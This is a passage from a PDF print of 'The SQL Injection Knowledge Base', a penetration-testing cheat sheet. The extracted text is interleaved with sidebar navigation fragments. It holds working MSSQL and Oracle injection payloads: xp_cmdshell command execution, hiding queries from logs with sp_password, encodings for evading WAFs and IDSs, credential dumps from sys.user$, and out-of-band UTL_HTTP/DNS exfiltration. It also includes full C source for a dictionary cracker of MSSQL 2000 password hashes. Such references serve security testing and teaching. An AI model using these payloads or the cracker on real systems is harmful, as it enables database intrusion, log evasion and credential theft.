If the SQL version is higher than 2000, you will have to run additional
Comment Out Query
queries in order the execute the previous command:
Testing Version
Database Credentials
EXEC sp_configure 'show advanced options', 1
Database Names
Server Hostname EXEC sp_configure reconfigure
Server MAC Address
EXEC sp_configure 'OLE Automation Procedures', 1
Tables and Columns
Avoiding quotations EXEC sp_configure reconfigure
String concatenation
Conditional
Statements
Example:
Timing
Privileges Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then
Reading Files proceeds to run the 'dir' command and inserts the results into TMP_DB:
Writing Files ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES
Out of band WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE
channeling @a varchar(8000) IF EXISTS(SELECT * FROM
Stacked Queries [Link] WHERE id = object_id (N'[dbo].
[xp_cmdshell]') AND OBJECTPROPERTY (id,
MySQL-specific code
N'IsExtendedProc') = 1) BEGIN CREATE TABLE
Fuzzing and
%23xp_cmdshell (name nvarchar(11), min int, max int,
Obfuscation
config_value int, run_value int) INSERT %23xp_cmdshell
Operators EXEC master..sp_configure 'xp_cmdshell' IF EXISTS
Constants (SELECT * FROM %23xp_cmdshell WHERE
Password Hashing config_value=1)BEGIN CREATE TABLE %23Data (dir
Password Cracking varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell
'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font>
<font color="black">'%2Bdir,'<dir>','</font><font
MSSQL color="orange">') FROM %23Data WHERE dir>@a DROP TABLE
%23Data END ELSE SELECT @a='xp_cmdshell not enabled'
ORACLE DROP TABLE %23xp_cmdshell END ELSE SELECT
Extras @a='xp_cmdshell not found' SELECT @a AS tbl INTO
TMP_DB--

Dump Content:
' UNION SELECT tbl FROM TMP_DB--

Delete Table:
' DROP TABLE TMP_DB--

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL
logs as a security measure.

SP_PASSWORD

Example:
[Link] 22/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

' AND 1=1--sp_password

MySQL
Default Databases
Testing Injection Output:
Comment Out Query
Testing Version
Database Credentials -- 'sp_password' was found in the text of this event
Database Names -- The text has been replaced with this comment for
Server Hostname
Server MAC Address
Tables and Columns
Avoiding quotations
String concatenation Stacked Queries
Conditional
Statements MSSQL supports stacked queries.
Timing
Privileges Example:
Reading Files
Writing Files ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES
Out of band ('value1', 'value2');
channeling
Stacked Queries
MySQL-specific code
Fuzzing and
Fuzzing and Obfuscation
Obfuscation
Operators Allowed Intermediary Characters
Constants
Password Hashing The following characters can be used as whitespaces.
Password Cracking
01 Start of Heading
MSSQL 02 Start of Text
ORACLE
03 End of Text
Extras
04 End of Transmission

05 Enquiry

06 Acknowledge

07 Bell

08 Backspace

09 Horizontal Tab

0A New Line

0B Vertical Tab

0C New Page

0D Carriage Return

0E Shift Out

0F Shift In

10 Data Link Escape

11 Device Control 1

[Link] 23/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

12 Device Control 2
MySQL 13 Device Control 3
Default Databases
14 Device Control 4
Testing Injection
Comment Out Query 15 Negative Acknowledge
Testing Version
16 Synchronous Idle
Database Credentials
Database Names 17 End of Transmission Block
Server Hostname
18 Cancel
Server MAC Address
Tables and Columns 19 End of Medium
Avoiding quotations
String concatenation 1A Substitute
Conditional 1B Escape
Statements
Timing 1C File Separator
Privileges
1D Group Separator
Reading Files
Writing Files 1E Record Separator
Out of band
channeling 1F Unit Separator
Stacked Queries
20 Space
MySQL-specific code
Fuzzing and 25 %
Obfuscation
Operators
Constants
Examples:
Password Hashing
Password Cracking S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
MSSQL
ORACLE Note:
Extras The percentage signs in between keywords is only possible on
ASP(x) web applications.

The following characters can be also used to avoid the use of spaces.

22 "

28 (

29 )

5B [

5D ]

Examples:

UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];

[Link] 24/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Allowed Intermediary Characters after AND/OR

MySQL
01 - 20 Range
Default Databases
Testing Injection 21 !
Comment Out Query
2B +
Testing Version
Database Credentials 2D -
Database Names
Server Hostname 2E .
Server MAC Address 5C \
Tables and Columns
Avoiding quotations 7E ~
String concatenation
Conditional
Example:
Statements
Timing
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
Privileges
Reading Files
Writing Files Note:
Out of band
channeling
The backslash does not seem to work with MSSQL 2000.
Stacked Queries
MySQL-specific code
Fuzzing and Encodings
Obfuscation
Operators Encoding your injection can sometimes be useful for WAF/IDS evasion.
Constants
Password Hashing SELECT %74able_%6eame FROM informat
URL Encoding
Password Cracking ion_schema.tables;

SELECT %2574able_%256eame FROM info

Double URL Encoding
MSSQL rmation_schema.tables;

ORACLE Unicode Encoding

SELECT %u0074able_%u6eame FROM info
rmation_schema.tables;
Extras
SELECT %tab%le_%na%me FROM informat
Invalid Hex Encoding (ASP) ion_schema.tables;

' AND 1=0; DECLARE @S VARCHAR(4000)

Hex Encoding SET @S=CAST(0x53454c4543542031 AS V
ARCHAR(4000)); EXEC (@S);--

%26%2365%3B%26%2378%3B%26%2368%3B%2
HTML Entities (Needs to be verified) 6%2332%3B%26%2349%3B%26%2361%3B%26%
2349%3B

Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a
constant; the next eight bytes are the hash salt and the remaining 80
bytes are two hashes, the first 40 bytes are a case-sensitive hash of the
password, while the second 40 bytes are the uppercase version.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C078
4B911D76BF4EB124550ACABDFD1457

Password Cracking
[Link] 25/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

A Metasploit module for JTR can be found here.

MySQL
MSSQL 2000 Password Cracker
Default Databases
Testing Injection
This tool is designed to crack Microsoft SQL Server 2000 passwords.
Comment Out Query
Testing Version
Database Credentials /////////////////////////////////////////////////////////////////////////////////
Database Names //
// SQLCrackCl
Server Hostname //
Server MAC Address // This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
Tables and Columns // has been discovered try all case variant to work
Avoiding quotations // out the case sensitive password.
//
String concatenation
// This code was written by David Litchfield to
Conditional // demonstrate how Microsoft SQL Server 2000
Statements // passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
Timing //
Privileges // (Compile with VC++ and link with [Link]
// Ensure the Platform SDK has been installed, too!)
Reading Files
//
Writing Files //////////////////////////////////////////////////////////////////////////////////
Out of band #include <stdio.h>
#include <windows.h>
channeling
#include <wincrypt.h>
Stacked Queries FILE *fd=NULL;
MySQL-specific code char *lerr = "\nLength Error!\n";
int wd=0;
Fuzzing and int OpenPasswordFile(char *pwdfile);
Obfuscation int CrackPassword(char *hash);
int main(int argc, char *argv[])
Operators
{
Constants int err = 0;
Password Hashing if(argc !=3)
{
Password Cracking printf("\n\n*** SQLCrack *** \n\n");
printf("C:\\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@[Link])\n")
MSSQL printf("24th June 2002\n");
return 0;
ORACLE }
err = OpenPasswordFile(argv[2]);
Extras if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",a
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
[Link] 26/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
unsigned int t=0;
unsigned int address = 0;
MySQL unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
Default Databases HCRYPTHASH hHash;
Testing Injection DWORD hl=100;
unsigned char szhash[100]="";
Comment Out Query
int len=0;
Testing Version if(strlen(hash) !=94)
Database Credentials {
return printf("\nThe password hash is too short!\n");
Database Names }
Server Hostname if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
Server MAC Address hash = hash + 2;
Tables and Columns strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
Avoiding quotations
if(strlen(pheader)!=4)
String concatenation return printf("%s",lerr);
Conditional hash = hash + 4;
strncpy(pkey,hash,8);
Statements
printf("\nRand key\t: %s",pkey);
Timing if(strlen(pkey)!=8)
Privileges return printf("%s",lerr);
hash = hash + 8;
Reading Files strncpy(pnorm,hash,40);
Writing Files printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
Out of band return printf("%s",lerr);
channeling hash = hash + 40;
Stacked Queries strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
MySQL-specific code if(strlen(pucase)!=40)
Fuzzing and return printf("%s",lerr);
Obfuscation strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
Operators }
Constants else
{
Password Hashing return printf("The password hash has an invalid format!\n");
Password Cracking }
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
MSSQL {
if(GetLastError()==NTE_BAD_KEYSET)
ORACLE {
// KeySet does not exist. So create a new keyset
Extras if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;

[Link] 27/32
07/02/2026, 13:53 The SQL Injection Knowledge Base
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
MySQL // Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
Default Databases x = (unsigned char) t;
Testing Injection uwttf[cnt]=x;
cnt++;
Comment Out Query
t = key << 8;
Testing Version t = t >> 24;
Database Credentials x = (unsigned char) t;
uwttf[cnt]=x;
Database Names cnt++;
Server Hostname t = key << 16;
t = t >> 24;
Server MAC Address x = (unsigned char) t;
Tables and Columns uwttf[cnt]=x;
cnt++;
Avoiding quotations
t = key << 24;
String concatenation t = t >> 24;
Conditional x = (unsigned char) t;
uwttf[cnt]=x;
Statements
cnt++;
Timing // Create the hash
Privileges if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
Reading Files printf("Error %x during CryptCreatHash!\n", GetLastError());
Writing Files return 0;
}
Out of band if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
channeling {
Stacked Queries printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
MySQL-specific code }
Fuzzing and CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
Obfuscation // Test the first byte only. Much quicker.
if(szhash[0] == cmp)
Operators {
Constants // If first byte matches try the rest
ptr = pucase;
Password Hashing cnt = 1;
Password Cracking while(cnt < 20)
{
ptr = ptr + 2;
MSSQL strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
ORACLE if(szhash[cnt]==cmp)
cnt ++;
Extras else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}

Oracle
Default Databases
SYSTEM Available in all versions

[Link] 28/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

SYSAUX Available in all versions

MySQL
Default Databases Comment Out Query
Testing Injection
Comment Out Query
The following can be used to comment out the rest of the query after
Testing Version
your injection:
Database Credentials
Database Names
-- SQL comment
Server Hostname
Server MAC Address
Tables and Columns Example:
Avoiding quotations
String concatenation SELECT * FROM Users WHERE username = '' OR 1=1 --' AND
Conditional password = '';
Statements
Timing
Privileges
Testing Version
Reading Files
Writing Files
Out of band SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
channeling
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
Stacked Queries
MySQL-specific code SELECT version FROM v$instance;
Fuzzing and
Obfuscation
Notes:
Operators
Constants
All SELECT statements in Oracle must contain a table.
Password Hashing
Password Cracking dual is a dummy table which can be used for testing.

MSSQL Database Credentials

ORACLE
Extras SELECT username FROM all_users; Available on all versions

SELECT name, password from [Link]$; Privileged, <= 10g

SELECT name, spare4 from [Link]$; Privileged, <= 11g

Database Names
Current Database

SELECT name FROM v$database;

SELECT instance_name FROM v$instance

SELECT global_name FROM global_name

SELECT SYS.DATABASE_NAME FROM DUAL

User Databases

SELECT DISTINCT owner FROM all_tables;

[Link] 29/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Server Hostname
MySQL
Default Databases SELECT host_name FROM v$instance; (Privileged)
Testing Injection
SELECT UTL_INADDR.get_host_name FROM dual;
Comment Out Query
Testing Version SELECT UTL_INADDR.get_host_name('[Link]') FROM dual;
Database Credentials
SELECT UTL_INADDR.get_host_address FROM dual;
Database Names
Server Hostname
Server MAC Address
Tables and Columns
Tables and Columns
Avoiding quotations
String concatenation Retrieving Tables
Conditional
Statements SELECT table_name FROM all_tables;
Timing
Privileges
Reading Files Retrieving Columns
Writing Files
Out of band SELECT column_name FROM all_tab_columns;
channeling
Stacked Queries
MySQL-specific code Find Tables from Column Name
Fuzzing and
Obfuscation SELECT column_name FROM all_tab_columns WHERE table_name = 'User
Operators s';
Constants
Password Hashing
Password Cracking Find Columns From Table Name

MSSQL SELECT table_name FROM all_tab_tables WHERE column_name = 'passw

ord';
ORACLE
Extras Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT

('//text()').EXTRACT('//text()') ,',') FROM all_tables;

Avoiding the use of quotations

Unlike other RDBMS, Oracle allows table/column names to be encoded.

SELECT 0x09120911091 FROM dual; Hex Encoding.

SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; CHR() Function.

String Concatenation
SELECT 'a'||'d'||'mi'||'n' FROM dual;

Conditional Statements
[Link] 30/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual
MySQL
Default Databases Timing
Testing Injection
Comment Out Query
Testing Version
Time Delay
Database Credentials
Database Names SELECT UTL_INADDR.get_host_address('[Link]') FR
OM dual;
Server Hostname
Server MAC Address
Tables and Columns Heavy Time Delays
Avoiding quotations
String concatenation
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users
Conditional t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELE
Statements CT username FROM all_users WHERE rownum = 1),1,1));
Timing
Privileges
Reading Files Privileges
Writing Files
Out of band
SELECT privilege FROM session_privs;
channeling
Stacked Queries SELECT grantee, granted_role FROM dba_role_privs; (Privileged)
MySQL-specific code
Fuzzing and
Obfuscation Out Of Band Channeling
Operators
Constants
Password Hashing
DNS Requests
Password Cracking
SELECT UTL_HTTP.REQUEST('[Link] FROM dual;

MSSQL SELECT UTL_INADDR.get_host_address('[Link]') FROM dual;

ORACLE
Extras Password Cracking
A Metasploit module for JTR can be found here.

Extras
About
This Knowledge Base was put together and is maintained by Roberto
Salgado, Co-Founder of Websec. It is a compilation of books, papers,
cheatsheets and testing done by Roberto over the years.

Contact
Please feel free to send any suggestions you may have to @LightOS or e-
mail.

Special Thanks
[Link] 31/32
07/02/2026, 13:53 The SQL Injection Knowledge Base

Helped me tremendously with the CSS and some JQu

Garrett Hyder
ery bugs.
MySQL
Johannes Dahse Helped me create the original version.
Default Databases
Testing Injection Lisa Richards Made the tough decisions for me.
Comment Out Query
Mario Heiderich Helped me create the original version.
Testing Version
Database Credentials Pedro Joaquín Motivated me to finish this.
Database Names
Server Hostname
Server MAC Address Contributions
Tables and Columns
Avoiding quotations Paulino Calderón Gave me the idea of adding a changelog.
String concatenation
Conditional Pointed out some missing code for the password cra
Alejandro Hernández
ckers.
Statements
Timing Contributed with links for Error based methods and
Denis Baranov
Privileges Acknowledgements.
Reading Files
id Contributed links for the JTR-MSF modules.
Writing Files
Out of band Contributed a method for retrieving multiple tables a
Nurfed
channeling t once in MSSQL 2005+.
Stacked Queries PenTesticles Minor correction to MSSQL xp_cmdshell.
MySQL-specific code
Fuzzing and Brought to my attention an extra method for WAITF
Ryan Barnett
Obfuscation OR timing in MSSQL.
Operators Spari Contributed a huge list of neat tricks.
Constants
Password Hashing Contributed an alternative method for retrieving col
Rafay Baloch
umn count in MySQL.
Password Cracking

MSSQL Acknowledgements
ORACLE
A method for retrieving multiple tables/columns at o
Extras Hackforums
nce.

A lot of the error based vectors originated from this s

RDot
ite.

Last Updated

May 29, 2013.

Powered by

[Link] 32/32